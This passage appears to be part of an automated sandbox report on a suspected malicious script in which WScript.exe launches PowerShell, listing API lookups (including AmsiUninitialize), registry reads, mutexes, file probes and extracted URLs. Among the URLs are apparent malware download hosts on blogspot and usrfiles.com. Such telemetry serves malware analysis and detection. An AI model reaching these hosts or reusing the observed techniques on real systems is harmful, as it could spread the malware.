00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter select (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter bind (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LsaClose (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LsaFreeMemory (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LsaOpenPolicy (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LsaLookupSids (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutput (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutputW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutput (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutputW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ShellExecuteEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyNameObject (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyNameObjectW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyEnum (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyEnumW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_Initialize (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MI_Application_InitializeV1 (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_SetClrIsNotShuttingDown (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_GetCurrentSecurityToken (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_Initialize (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeInstanceCallback (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteMessageCallback (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteProgressCallback (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteErrorCallback (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_SetupDrainingIfNeeded (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetThreadToken (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_ScheduleDrainingWorkIfNeeded (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_DecrementCount_AndDontWorryAboutLifetimeOfMiDotNetDll (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter free (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_SessionHandle_OnReleaseHandleCompleted (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegSetValueEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetComputerName (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetComputerNameW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeStreamedParameterResultCallback (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativePromptUserCallback (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_SetClrIsShuttingDown (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_SetAppDomainIsUnloading (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_ScheduleCleanupCallback (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00001204)26:Tf5c,Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00004304-00000C2B-945516754] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00004304-00000C2B-946658886] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00004304-00000C2B-948255263] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00001204-00000C2B-949769978] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00001204-00000C2B-950113955] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00001204-00000C2B-950213400] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00001204-00000C2B-950301570] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00001204-00000C2B-950440382] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00001204-00000C2B-950488337] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00001204-00000C2B-950591170] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00001204-00000C2B-950641447] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00001204-00000C2B-950749468] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00001204-00000C2B-951056657] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00001204-00000C2B-951140435] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00001204-00000C2B-951382211] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00001204-00000C2B-951497577] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00001204-00000C2B-951734690] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00001204-00000C2B-951739122] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00001204-00000C2B-952156214] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00001204-00000C2B-952183281] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00001204-00000C2B-952256856] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00001204-00000C2B-952284048] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00001204-00000C2B-952357886] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00001204-00000C2B-952510056] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00001204-00000C2B-953071536]27:T4cb,"WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\PROTECTEDROOTS"; Key: "CERTIFICATES") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43"; Key: "BLOB") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\0E9612411A0A4ABD15B84FFACBA6DB3166916E75"; Key: "BLOB") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\18F7C1FCC3090203FD5BAA2F861A754976C8DD25"; Key: "BLOB") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\245C97DF7514E7CF2DF8BE72AE957B9E04741E85"; Key: "BLOB") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\3B1EFD3A66EA28B16697394703A72CA340A05BD5"; Key: "BLOB") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25"; Key: "BLOB") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\7F88CD7223F3C813818C994614A89C99FA3B5247"; Key: "BLOB") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\8F43288AD272F3103B6FB1428485EA3014C0BCFE"; Key: "BLOB")28:T8d1,Process WScript.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4304:120:WilError_01" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4304:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "Local\SM0:4304:304:WilStaging_02" Process WScript.exe created mutex with name "Local\SM0:4304:120:WilError_01" Process WScript.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "SM0:4304:304:WilStaging_02" Process WScript.exe created mutex with name "SM0:4304:120:WilError_01" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4304:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4304:120:WilError_01" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1204:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:1204:304:WilStaging_02" Process powershell.exe created mutex with name "Global\RasPbFile" Process powershell.exe created mutex with name "Local\SM0:1204:120:WilError_01" Process powershell.exe created mutex with name "SM0:1204:304:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "SM0:1204:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1204:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1204:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\RasPbFile"29:Tc55,"WScript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:ZONE.IDENTIFIER" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:Zone.Identifier" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.xaml"2a:T3893,Pattern match: "https://hot13oct.blogspot.com/dudu.docx.pdf" Pattern match: "https://www.verisign.com/rpa" Pattern match: "www.adobe.com/misc/pki/prod_svce_cps.html0http://crl.adobe.com/cds\.crl0z0x1us1#0!adobe" Heuristic match: "hot13oct.blogspot.com" Heuristic match: "get /atom.xml http/1.1user-agent: mozilla/5.0 (windows nt; windows nt 10.0; en-us) windowspowershell/5.1.16299.248host: hot13oct.blogspot.com" Heuristic match: "09c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6.usrfiles.com" Pattern match: "www.google.com" Pattern match: "www.google.comconnection" Pattern match: "http://www.google.com" Pattern match: "https://'$kasugugaga" Pattern match: "https://himachaly17aplr.blogspot.com///////////////////////////////////////////////////////////////scooba.docx.pdf" Heuristic match: "letization.methodparameter]@{name = 'processtokensidtype'; parametertype = 'microsoft.powershell.cmdletization.generatedtypes.scheduledtask.processtokensidtypeenum'; bindings = 'in'; value = $__cmdletization_value; isvaluepresent = $true} } else { " Heuristic match: "r = [microsoft.powershell.cmdletization.methodparameter]@{name = 'hidden'; parametertype = 'system.management.automation.switchparameter'; bindings = 'in'; value = $__cmdletization_value; isvaluepresent = $true} } else { $__cmdletization_me" Heuristic match: "dletization_exceptionhasbeenthrown = $true throw } } process { try { if (-not $__cmdletization_exceptionhasbeenthrown) { $__cmdletization_methodparameters = [system.collections.gener" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113316" Pattern match: "https://go.microsoft.com/fwlink/?linkid=160712" Pattern match: "http://schemas.microsoft.com/powershell/microsoft.powershell" Heuristic match: "set-location $myinvocation.mycommand.name" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225747" Heuristic match: "get-content $file | more.com" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.consolehost/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.consolehost.dll" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: "ell.gr" Heuristic match: "icrosoft.powershell.se" Heuristic match: "icrosoft.powershell.co" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.microsoft.com0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "t.com/aqq" Pattern match: "0www.entrust.net/cps" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "m.org/sfsc" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/windows" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Heuristic match: "osoft.co" Heuristic match: "micrlistt.co" Heuristic match: "*.usrfiles.com" Heuristic match: "usrfiles.com" Pattern match: "www.microsoft.com/pkiops/certs/micsecserca2011_2011-10-18.crt" Pattern match: "crl.microsoft.com/pki/crl/products/mi" Heuristic match: "109c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6.usrfiles.com" Heuristic match: "\microsoft.mp" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0019~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00114~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "5.cat" Heuristic match: "web.wf" Pattern match: "oft.com/pkitsx" Heuristic match: "t.com" Heuristic match: "misc-sni.blogspot.com" Heuristic match: "blogspot.ae" Heuristic match: "*.blogspot.ae" Heuristic match: "blogspot.al" Heuristic match: "*.blogspot.al" Heuristic match: "blogspot.am" Heuristic match: "*.blogspot.am" Heuristic match: "blogspot.ba" Heuristic match: "*.blogspot.ba" Heuristic match: "blogspot.be" Heuristic match: "*.blogspot.be" Heuristic match: "blogspot.bg" Heuristic match: "*.blogspot.bg" Heuristic match: "blogspot.ca" Heuristic match: "*.blogspot.ca" Heuristic match: "blogspot.ch" Heuristic match: "*.blogspot.ch" Heuristic match: "blogspot.cl" Heuristic match: "*.blogspot.cl" Heuristic match: "blogspot.co.at" Heuristic match: "*.blogspot.co.at" Heuristic match: "blogspot.co.id" Heuristic match: "*.blogspot.co.id" Heuristic match: "blogspot.co.il" Heuristic match: "*.blogspot.co.il" Heuristic match: "blogspot.co.ke" Heuristic match: "*.blogspot.co.ke" Heuristic match: "blogspot.co.nz" Heuristic match: "*.blogspot.co.nz" Heuristic match: "blogspot.co.uk" Heuristic match: "*.blogspot.co.uk" Heuristic match: "blogspot.co.za" Heuristic match: "*.blogspot.co.za" Heuristic match: "blogspot.com" Heuristic match: "*.blogspot.com" Heuristic match: "blogspot.com.ar" Heuristic match: "*.blogspot.com.ar" Heuristic match: "blogspot.com.au" Heuristic match: "*.blogspot.com.au" Heuristic match: "blogspot.com.br" Heuristic match: "*.blogspot.com.br" Heuristic match: "blogspot.com.by" Heuristic match: "*.blogspot.com.by" Heuristic match: "blogspot.com.co" Heuristic match: "*.blogspot.com.co" Heuristic match: "blogspot.com.cy" Heuristic match: "*.blogspot.com.cy" Heuristic match: "blogspot.com.ee" Heuristic match: "*.blogspot.com.ee" Heuristic match: "blogspot.com.eg" Heuristic match: "*.blogspot.com.eg" Heuristic match: "blogspot.com.es" Heuristic match: "*.blogspot.com.es" Heuristic match: "blogspot.com.mt" Heuristic match: "*.blogspot.com.mt" Heuristic match: "blogspot.com.ng" Heuristic match: "*.blogspot.com.ng" Heuristic match: "blogspot.com.tr" Heuristic match: "*.blogspot.com.tr" Heuristic match: "blogspot.com.uy" Heuristic match: "*.blogspot.com.uy" Heuristic match: "blogspot.cz" Heuristic match: "*.blogspot.cz" Heuristic match: "blogspot.de" Heuristic match: "*.blogspot.de" Heuristic match: "blogspot.dk" Heuristic match: "*.blogspot.dk" Heuristic match: "blogspot.fi" Heuristic match: "*.blogspot.fi" Heuristic match: "blogspot.fr" Heuristic match: "*.blogspot.fr" Heuristic match: "blogspot.gr" Heuristic match: "*.blogspot.gr" Heuristic match: "blogspot.hk" Heuristic match: "*.blogspot.hk" Heuristic match: "blogspot.hr" Heuristic match: "*.blogspot.hr" Heuristic match: "blogspot.hu" Heuristic match: "*.blogspot.hu" Heuristic match: "blogspot.ie" Heuristic match: "*.blogspot.ie" Heuristic match: "blogspot.in" Heuristic match: "*.blogspot.in" Heuristic match: "blogspot.is" Heuristic match: "*.blogspot.is" Heuristic match: "blogspot.it" Heuristic match: "*.blogspot.it" Heuristic match: "blogspot.jp" Heuristic match: "*.blogspot.jp" Heuristic match: "blogspot.kr" Heuristic match: "*.blogspot.kr" Heuristic match: "blogspot.li" Heuristic match: "*.blogspot.li" Heuristic match: "blogspot.lt" Heuristic match: "*.blogspot.lt" Heuristic match: "blogspot.lu" Heuristic match: "*.blogspot.lu" Heuristic match: "blogspot.md" Heuristic match: "*.blogspot.md" Heuristic match: "blogspot.mk" Heuristic match: "*.blogspot.mk" Heuristic match: "blogspot.mx" Heuristic match: "*.blogspot.mx" Heuristic match: "blogspot.my" Heuristic match: "*.blogspot.my" Heuristic match: "blogspot.nl" Heuristic match: "*.blogspot.nl" Heuristic match: "blogspot.no" Heuristic match: "*.blogspot.no" Heuristic match: "blogspot.pe" Heuristic match: "*.blogspot.pe" Heuristic match: "blogspot.pt" Heuristic match: "*.blogspot.pt" Heuristic match: "blogspot.qa" Heuristic match: "*.blogspot.qa" Heuristic match: "blogspot.ro" Heuristic match: "*.blogspot.ro" Heuristic match: "blogspot.rs" Heuristic match: "*.blogspot.rs" Heuristic match: "blogspot.ru" Heuristic match: "*.blogspot.ru" Heuristic match: "blogspot.se" Heuristic match: "*.blogspot.se" 